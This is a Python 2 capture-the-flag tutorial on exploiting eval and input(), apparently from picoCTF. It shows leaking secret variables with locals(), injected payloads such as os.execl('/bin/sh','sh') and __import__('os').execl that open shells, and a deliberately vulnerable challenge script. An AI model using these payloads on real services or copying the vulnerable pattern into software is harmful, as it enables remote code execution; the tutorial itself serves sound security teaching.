Python eval

Part 3

Introspection

Looks like you've got the basics down! Time to introduce a new tool: locals() and globals(). These built-in Python functions let you view and edit the local and global scope as dictionaries. For example, in a Python interpreter:

>>> locals()
{'__builtins__': <module '__builtin__' (built-in)>, '__name__':
 '__main__', '__doc__': None, '__package__': None}
>>> x = 4
>>> y = 5
>>> locals()
{'__builtins__': <module '__builtin__' (built-in)>, '__package__':
 None, 'x': 4, 'y': 5, '__name__': '__main__', '__doc__': None}
>>> locals()['x'] + locals()['y']
9
>>> locals() == globals() # This is true outside functions
True
>>>

You can google for examples on their normal usage, and play around with them a bit in the Python interpreter.

Do you remember the code for example1.py? It doesn't matter. This is what happens if you type locals() at the prompt:

$ python ./example1.py
Guess the number! 1 to 100.
Your guess> locals()
Nope, {'guess': {...}, 'randint': <bound method Random.randint of
 <random.Random object at 0x7faada071820>>, '__builtins__':
 <module '__builtin__' (built-in)>, '__file__': './example1.py',
 '__package__': None, 'num': 35, '__name__': '__main__',
 '__doc__': None} is wrong.
Your guess> 35
You win!
$

Oh, would you look at that: 'num': 35 sitting right there. We didn't even need to see the source to know that there was a variable named num!

There's more sorts of introspection you can do in Python: vars, __dict__, func_globals and __subclasses__ come to mind. If you google about more information on those, you may find them useful in the tasks to come!

Popping a shell

When a hacker exploits an eval vulnerability in the real world, it's probably not to read some magic_number variable. Instead, the goal to gain full control over the computer. Consider the following example:

# example2.py
import os
print "What files do you want?"
files = input('list> ')
for name in files:
  if os.path.exists(name):
    with open(name) as f:
      print f.read()
  else:
    print name, "does not exist!"

This script just prints out files, which in many circumstances would be a security vulnerability in itself! However, it's a lot worse then that, due to the os module being available to use:

$ python example2.py
What files do you want?
list> os.system("echo 'I have a shell.'")
I have a shell.
Traceback (most recent call last):
  File "example2.py", line 5, in <module>
    for name in files:
TypeError: 'int' object is not iterable
$

The os.system pretty much just takes a string an runs it as a shell command&emdash;which, as you may know, allows you to do anything on the system. This isn't very interesting here because we already had a shell (the one where we ran python example2.py on), but if a python network service using os and eval were running on a network...

$ nc pyservice.example.com 1234
What files do you want?
list> os.execl('/bin/sh','sh')
sh-3.2$ echo "I have a shell."
I have a shell.
sh-3.2$ exit
exit
$

Here, I used the os.execl functions. The exec family of functions essentially replace the service with another program, which we can choose to be a UNIX shell program; it's a little weird and you can read more about it on Wikipedia. This is more convenient than os.system in some cases.

__import__

One last thing to know about: scripts aren't safe just because they don't have import os anywhere, because we can import os ourselves! Consider the following example (which is similar to example2.py):

# example3.py
print "What files do you want?"
files = input('list> ')
for name in files:
  try:
    with open(name) as f:
      print f.read()
  except:
    print name, "does not exist!"

Just entering import os won't cut it, because import os is a statement and not an expression:

$ python example3.py 
What files do you want?
list> import os
Traceback (most recent call last):
  File "example3.py", line 3, in <module>
    files = input('list> ')
  File "<string>", line 1
    import os
         ^
SyntaxError: invalid syntax
$

Luckily for us, there's a built-in function called __import__ that does pretty much what we want it to.

$ python example3.py
What files do you want?
list> __import__('os').execl('/bin/sh','sh')
sh-3.2$ echo 'I win again'
I win again
sh-3.2$ exit
exit
$

Task 3

This time, there's no secret flag variable to read; your goal is to get a shell, ls to see which files you can access, and cat out the key from one of those files. Because __import__('os').execlp('sh','sh') is a little too easy, I've made this problem harder by hindering your ability to __import__. Some people used to think that tricks like this could make eval safe... but if you apply the techniques I've discussed above, it's not going to keep eval safe from you :)

Connect to this script at nc python.picoctf.com 6363.

# task3.py
# Remember kids: this is bad code. Try not code like this :P

from os import path
del __builtins__.__dict__['__import__']
del __builtins__.__dict__['reload']

print "Welcome to the food menu!"
choices = (
  ("Chicken Asada Burrito", 7.69, "caburrito.txt"),
  ("Beef Chow Mein", 6.69, "beefchow.txt"),
  ("MeatBurger Deluxe", 10.49, "no description"),
  # ...
)

def print_description(n):
  print ""
  if n >= len(choices):
    print "No such item!"
  elif not path.exists(choices[n][2]):
    print "No description yet, but we promise it's tasty!"
  else:
    print open(choices[n][2]).read()

def show_menu():
  for i in xrange(len(choices)):
    print "[% 2d] $% 3.2f %s" % (i, choices[i][1], choices[i][0])

while True:
  print "Which description do you want to read?"
  show_menu()
  print_description(input('> '))